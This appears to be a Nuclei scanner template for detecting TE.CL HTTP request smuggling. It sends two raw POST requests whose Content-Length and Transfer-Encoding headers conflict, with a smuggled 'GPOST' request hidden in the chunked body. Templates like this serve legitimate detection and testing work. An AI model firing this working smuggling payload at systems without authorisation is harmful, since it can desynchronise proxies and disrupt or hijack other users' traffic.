漏洞描述
Detected a potential TE.CL request smuggling condition where an injected Transfer-Encoding header conflicted with an existing Content-Length header, causing differing parsing behavior between proxy and backend.
id: te-cl-http-smuggling
info:
name: Basic TE.CL - HTTP Request Smuggling
author: pdteam,akincibor
severity: low
description: |
Detected a potential TE.CL request smuggling condition where an injected Transfer-Encoding header conflicted with an existing Content-Length header, causing differing parsing behavior between proxy and backend.
reference:
- https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl
metadata:
verified: true
max-request: 2
tags: te-cl,smuggling
http:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
unsafe: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "Unrecognized method GPOST")'
# digest: 490a004630440220479efbba5028add39009aeee97cc7c1cee0c93c8f6992a23762d1031b3bbd46202201f0f5da5055072a6abaaacc8206ef6be5bbfb95ddf4634c45cd36dc377394c0b:922c64590222798bb761d5b6d8e72950